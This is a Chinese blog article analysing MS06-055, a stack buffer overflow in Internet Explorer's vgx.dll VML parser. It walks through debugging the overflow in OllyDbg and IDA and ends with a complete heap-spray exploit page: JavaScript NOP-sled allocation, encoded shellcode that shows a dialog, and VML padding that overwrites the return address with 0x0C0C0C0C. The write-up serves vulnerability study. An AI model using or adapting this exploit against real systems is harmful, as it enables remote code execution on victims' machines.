分析MS06-055 IE 栈溢出漏洞
2019-06-24 09:20:00 Author: xz.aliyun.com(查看原文) 阅读量:95 收藏

目录:
0x1:漏洞触发原理
0x2:分析环境准备
0x3:VML标记语言简介
0x4:通过POC代码观察漏洞
0x5:漏洞的利用

MS06-055是 IE 在解析 VML 标记语言时,由于没有做字符串长度的限制而存在的基于栈的缓冲区溢出漏洞。引起栈溢出的是 IE 的核心组件 vgx.dll,引起漏洞的函数是 vgx.dll库中的SHADETYPE_TEXT::TEXT(ushort co nst * ,in t)。

windows2000SP4,OD,IDA
IE版本:5.00.3700.1000
Vgx.dll版本:5.0.3014.1003

VML 即矢量标记语言(Vector Markup Language),IE 从 5.0 版本以后开始在 HTML 文件中支持这种语言。在 Web 应用中如果需要绘制的图形比较简单,就可以使用矢量标记语言,用文本方式告诉客户端一些关键的绘图坐标,浏览器按照 VML 语言格式解析了这些坐标之后就能绘出精确的图形。例如下面这段 HTML:

<html xmlns:v="urn:schemas-microsoft-com:vml">
 <head>
 <title>failwest</title> 
<style>
 <!--v\:* { behavior: url(#default#VML); }-->
 </style>
 </head>
 <body> 
<v:rect style="width:44pt;height:44pt" fillcolor="black"> 
<v:fill method="QQQQ"/>
 </v:rect>
 </body>
 </html>

在上述代码中,告诉浏览器以下绘图信息。 v:rect表示需要绘制的图形形状为矩形。也可绘制其他形状,如 Line、Polyline、Curve、l Roundrect 等。style=width:44pt,表示矩形宽为 44 个像素, height:44pt,表示矩形高为 44 个像素。fillcolor=black ,表示该矩形用黑色填充。也就是说,这一行 VML 代码告诉客户端在屏幕上绘制一个尺寸为 44×44 像素的颜色为黑色的正方形。运行这段HTML代码可以看到如下图所示的效果:

可以通过上面的HTML代码来观察这个漏洞:

<html xmlns:v="urn:schemas-microsoft-com:vml">
 <head>
 <title>failwest</title> 
<style>
 <!--v\:* { behavior: url(#default#VML); }-->
 </style>
 </head>
 <body> 
<v:rect style="width:44pt;height:44pt" fillcolor="black"> 
<v:fill method="QQQQ"/>
 </v:rect>
 </body>
 </html>

引起漏洞的函数是 vgx.dll库中的SHADETYPE_TEXT::TEXT(ushort co nst * ,in t),它会将页面中<v:fill method="QQQQ"/>数据域中的字符串在未经长度限制的情况下复制到栈中,造成溢出。

我们可以先用IDA对vgx.dll进行反汇编来了解这个函数的一些基本信息,这里采用的vgx.dll的版本是5.00.3700.1000,该文件在“C:\Program Files\Common Files\Microsoft Shared\VGX\“目录下,用IDA加载后,通过”View“=>”Open Subviews”=>”Functions”找到对应函数SHADETYPE_TEXT::TEXT(ushort co nst * ,in t),所在地址为0x659D7B46。


目前还不知道溢出发生的具体位置,只知道它在这个函数中,所以需要通过动态跟踪在漏洞函数中观察栈溢出发生的位置,得到了漏洞函数地址就可以进行动态调试。
这里先将vgx.dll用OD加载,然后Ctrl+G找到漏洞函数地址0x659D7B46并下断点,然后打开IE,并用OD附加,F9运行之后用IE打开上述的HTML程序,结果发现程序虽然顺利运行,但是漏洞函数没有被断下。

因此,直接用OD打开IE,然后在IE中打开HTML程序,让程序正常运行,这时vgx.dll已经被IE加载,然后Crtl+G定位到漏洞函数地址并下断点,接着刷新IE,于是,漏洞函数被顺利断下,来到了漏洞函数的入口处。

之前在分析POC代码的的时候提到:漏洞函数SHADETYPE_TEXT::TEXT(ushort co nst * ,in t)将页面中<v:fill method="QQQQ"/>数据域中的字符串在未经长度限制的情况下复 制到栈中,造成溢出。于是,在接下来的单步跟踪过程中,注意观察右下角的栈中在执行完哪条指令后会出现"QQQQ",由此来定位溢出发生的具体位置。
接着F8单步执行,同时观察栈中状态,当执行完0x659D7B86处的“Call 659D7AEA“之后可以发现,字符串"QQQQ"被复制到栈中,由此推测这个函数应该是溢出发生的地方。

我们可以用多个“Q“来填充数据域(<v:fill method="QQQQ…………QQQQ"/>),看看0x659D7B86处的“Call 659D7AEA“会不会对字符串长度进行限制。按照之前的方法,用OD重新加载IE,然后用IE打开新编写的HTML程序,运行之后在漏洞函数地址下断,然后刷新IE,来到断点处,之后F8单步执行,执行完0x659D7B86处的函数之后可以看到大量”Q“字符被复制到了栈中,如果计算出字符串复制的起始地址到函数的返回地址的距离,便可以用精心构造的数据覆盖函数返回地址,从而控制程序流程。

0x659D7B86处的“Call 659D7AEA“复制字符串造成了溢出,在0x659D7B86之前的汇编指令也没有对字符串的长度进行判断。

重新加载后F7跟进去看看0x659D7B86处的“Call 659D7AEA“函数,可以发现该函数只是不断在循环往复对数据域中的字符进行复制,没有检测字符串长度。

由于没有对要数据域中的字符串进行长度检测,导致多余的字符覆盖返回地址,程序流程就可以被修改。

接着用HeapSpray构造一个同于弹出一个对话框的exploit。大致步骤如下:
(1)首先在页面中使用 JavaScript连续申请 200 块大小为 1MB 的内存空间。每个内存块都以 0x90 填充,并在内存块的末尾部署 shellcode。
(2)JavaScript 的内存申请从内存低址 0x00000000 向内存高址分配,200MB(200MB=20010241024=0x0C800000>0x0C0C0C0C) 的内存申请意味着内存地址 0x0c0c0c0c 将被申请的内存块覆盖。
(3)用足够多的 0x0c 字节填充缓冲区,确保返回地址被覆盖为 0x0c0c0c0c。
(4)函数返回后,会跳去堆区的地址 0x0c0c0c0c 取指执行,恰好遇到我们申请的其中一块堆内存。0x0C和0x90一样,对程序执行无关痛痒,eip遇到这类指令只会“滑过去“,顺序执行完大量的 nop 指令之后,CPU 将最终将执行 shellcode。
Exploit的基本结构如下:

<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<title>failwest</title>
<style>
<!--v\:* { behavior: url(#default#VML); }-->
</style>
</head>
<script language="javascript">
var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";
var nop="\u9090\u9090";
while (nop.length<= 0x100000/2)
{
    nop+=nop;
}
<!--生成一个 1MB 大小充满 0x90 的数据块-->
var slide = new Array();
for (var i=0; i<200; i++)
{
    slide[i] = nop + shellcode;
}
<!—申请200个内存块-->
</script>
<body>
<v:rect style="width:444pt;height:444pt" fillcolor="black">
<v:fill method="ఌఌఌ
<!--由于篇幅太长,此处省略很多“ఌ“-->
ఌఌఌఌఌఌఌఌ "/>
<!—HTML的数据域用大量0x0C来填充,用来覆盖返回地址-->
</v:rect>
</body>
</html>

完成后执行这个HTML,对话框成功弹出。

接着按照之前的方法来调试跟踪这段HTML,看看具体的利用过程,但是会发现程序运行一段时间后就终止了,不能弹出对话框。

试了一些方法后发现可以先用OD加载IE,然后运行POC代码,之后在漏洞函数地址0x659D7B46下断,这时候程序的执行权属于IE,用IE打开exploit程序,就能在漏洞函数地址处断下。之后F7跟进0x659D7B86处的“Call 659D7AEA“函数,可以看到大量的”0x0C“被复制:

复制完成后可以看到:函数在返回的时候,返回地址已经被“0x0C0C0C0C “覆盖:

接着eip去堆区的“0x0C0C0C0C“取指执行,会遇到”nop+shellcode“的内存片,eip先滑过nop:

然后shellcode被顺利执行:


文章来源: http://xz.aliyun.com/t/5461
如有侵权请联系:admin#unsafe.sh